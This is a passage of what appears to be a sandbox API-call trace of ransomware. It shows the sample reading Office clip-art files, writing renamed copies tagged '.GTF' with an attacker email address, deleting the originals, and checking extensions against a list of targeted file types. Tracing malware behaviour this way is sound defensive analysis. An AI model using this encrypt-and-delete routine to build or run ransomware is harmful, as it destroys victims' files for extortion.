	[0085.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.798] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2080) returned 1
	[0085.798] CloseHandle (hObject=0x378) returned 1
	[0085.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220
	[0085.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.798] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.798] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0085.799] GetLastError () returned 0x0
	[0085.799] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x820, lpOverlapped=0x0) returned 1
	[0086.315] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x830, lpOverlapped=0x0) returned 1
	[0086.316] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.316] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.316] SetEndOfFile (hFile=0x35c) returned 1
	[0086.316] CloseHandle (hObject=0x35c) returned 1
	[0086.316] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.316] SetEndOfFile (hFile=0x378) returned 1
	[0086.317] CloseHandle (hObject=0x378) returned 1
	[0086.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1
	[0086.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0086.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0086.318] lstrlenW (lpString=".doc") returned 4
	[0086.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.318] lstrlenW (lpString=".docx") returned 5
	[0086.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.318] lstrlenW (lpString=".pdf") returned 4
	[0086.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.318] lstrlenW (lpString=".xls") returned 4
	[0086.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.318] lstrlenW (lpString=".xlsx") returned 5
	[0086.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.318] lstrlenW (lpString=".ppt") returned 4
	[0086.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0086.318] lstrlenW (lpString=".zip") returned 4
	[0086.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.318] lstrlenW (lpString=".rar") returned 4
	[0086.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.318] lstrlenW (lpString=".bz2") returned 4
	[0086.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.318] lstrlenW (lpString=".7z") returned 3
	[0086.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0086.318] lstrlenW (lpString=".dbf") returned 4
	[0086.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0086.318] lstrlenW (lpString=".1cd") returned 4
	[0086.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0086.318] lstrlenW (lpString=".jpg") returned 4
	[0086.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0086.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0086.318] lstrlenW (lpString=".doc") returned 4
	[0086.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.319] lstrlenW (lpString=".docx") returned 5
	[0086.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.319] lstrlenW (lpString=".pdf") returned 4
	[0086.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.319] lstrlenW (lpString=".xls") returned 4
	[0086.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.319] lstrlenW (lpString=".xlsx") returned 5
	[0086.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.319] lstrlenW (lpString=".ppt") returned 4
	[0086.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0086.319] lstrlenW (lpString=".zip") returned 4
	[0086.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.319] lstrlenW (lpString=".rar") returned 4
	[0086.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.319] lstrlenW (lpString=".bz2") returned 4
	[0086.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.319] lstrlenW (lpString=".7z") returned 3
	[0086.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0086.319] lstrlenW (lpString=".dbf") returned 4
	[0086.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0086.319] lstrlenW (lpString=".1cd") returned 4
	[0086.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0086.319] lstrlenW (lpString=".jpg") returned 4
	[0086.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.319] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.319] lstrlenW (lpString="DD01183_.WMF") returned 12
	[0086.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.320] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2296) returned 1
	[0086.320] CloseHandle (hObject=0x378) returned 1
	[0086.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220
	[0086.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.320] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.320] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0086.321] GetLastError () returned 0x0
	[0086.321] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x8f8, lpOverlapped=0x0) returned 1
	[0086.322] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x900, lpOverlapped=0x0) returned 1
	[0086.323] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.323] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.324] SetEndOfFile (hFile=0x35c) returned 1
	[0086.324] CloseHandle (hObject=0x35c) returned 1
	[0086.324] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.324] SetEndOfFile (hFile=0x378) returned 1
	[0086.325] CloseHandle (hObject=0x378) returned 1
	[0086.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1
	[0086.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0086.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0086.325] lstrlenW (lpString=".doc") returned 4
	[0086.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.325] lstrlenW (lpString=".docx") returned 5
	[0086.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.325] lstrlenW (lpString=".pdf") returned 4
	[0086.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.325] lstrlenW (lpString=".xls") returned 4
	[0086.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.326] lstrlenW (lpString=".xlsx") returned 5
	[0086.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.326] lstrlenW (lpString=".ppt") returned 4
	[0086.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0086.326] lstrlenW (lpString=".zip") returned 4
	[0086.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.326] lstrlenW (lpString=".rar") returned 4
	[0086.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.326] lstrlenW (lpString=".bz2") returned 4
	[0086.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.326] lstrlenW (lpString=".7z") returned 3
	[0086.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0086.326] lstrlenW (lpString=".dbf") returned 4
	[0086.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0086.326] lstrlenW (lpString=".1cd") returned 4
	[0086.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0086.326] lstrlenW (lpString=".jpg") returned 4
	[0086.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0086.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0086.326] lstrlenW (lpString=".doc") returned 4
	[0086.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.326] lstrlenW (lpString=".docx") returned 5
	[0086.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.326] lstrlenW (lpString=".pdf") returned 4
	[0086.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.326] lstrlenW (lpString=".xls") returned 4
	[0086.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.326] lstrlenW (lpString=".xlsx") returned 5
	[0086.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.327] lstrlenW (lpString=".ppt") returned 4
	[0086.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0086.327] lstrlenW (lpString=".zip") returned 4
	[0086.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.327] lstrlenW (lpString=".rar") returned 4
	[0086.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.327] lstrlenW (lpString=".bz2") returned 4
	[0086.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.327] lstrlenW (lpString=".7z") returned 3
	[0086.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0086.327] lstrlenW (lpString=".dbf") returned 4
	[0086.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0086.327] lstrlenW (lpString=".1cd") returned 4
	[0086.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0086.327] lstrlenW (lpString=".jpg") returned 4
	[0086.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.327] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.327] lstrlenW (lpString="DD01186_.WMF") returned 12
	[0086.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.328] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=8564) returned 1
	[0086.328] CloseHandle (hObject=0x378) returned 1
	[0086.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220
	[0086.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.328] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.328] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0086.328] GetLastError () returned 0x0
	[0086.328] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x2174, lpOverlapped=0x0) returned 1
	[0086.330] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2180, lpOverlapped=0x0) returned 1
	[0086.331] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.331] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.331] SetEndOfFile (hFile=0x35c) returned 1
	[0086.331] CloseHandle (hObject=0x35c) returned 1
	[0086.331] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.331] SetEndOfFile (hFile=0x378) returned 1
	[0086.332] CloseHandle (hObject=0x378) returned 1
	[0086.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1
	[0086.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0086.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0086.333] lstrlenW (lpString=".doc") returned 4
	[0086.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.333] lstrlenW (lpString=".docx") returned 5
	[0086.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.333] lstrlenW (lpString=".pdf") returned 4
	[0086.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.333] lstrlenW (lpString=".xls") returned 4
	[0086.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.333] lstrlenW (lpString=".xlsx") returned 5
	[0086.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.333] lstrlenW (lpString=".ppt") returned 4
	[0086.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0086.333] lstrlenW (lpString=".zip") returned 4
	[0086.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.333] lstrlenW (lpString=".rar") returned 4
	[0086.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.333] lstrlenW (lpString=".bz2") returned 4
	[0086.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.333] lstrlenW (lpString=".7z") returned 3
	[0086.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0086.333] lstrlenW (lpString=".dbf") returned 4
	[0086.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0086.333] lstrlenW (lpString=".1cd") returned 4
	[0086.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0086.334] lstrlenW (lpString=".jpg") returned 4
	[0086.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0086.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0086.334] lstrlenW (lpString=".doc") returned 4
	[0086.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.334] lstrlenW (lpString=".docx") returned 5
	[0086.334] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.334] lstrlenW (lpString=".pdf") returned 4
	[0086.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.334] lstrlenW (lpString=".xls") returned 4
	[0086.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.334] lstrlenW (lpString=".xlsx") returned 5
	[0086.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.334] lstrlenW (lpString=".ppt") returned 4
	[0086.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0086.334] lstrlenW (lpString=".zip") returned 4
	[0086.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.334] lstrlenW (lpString=".rar") returned 4
	[0086.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.334] lstrlenW (lpString=".bz2") returned 4
	[0086.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.334] lstrlenW (lpString=".7z") returned 3
	[0086.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0086.334] lstrlenW (lpString=".dbf") returned 4
	[0086.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0086.334] lstrlenW (lpString=".1cd") returned 4
	[0086.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0086.334] lstrlenW (lpString=".jpg") returned 4
	[0086.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
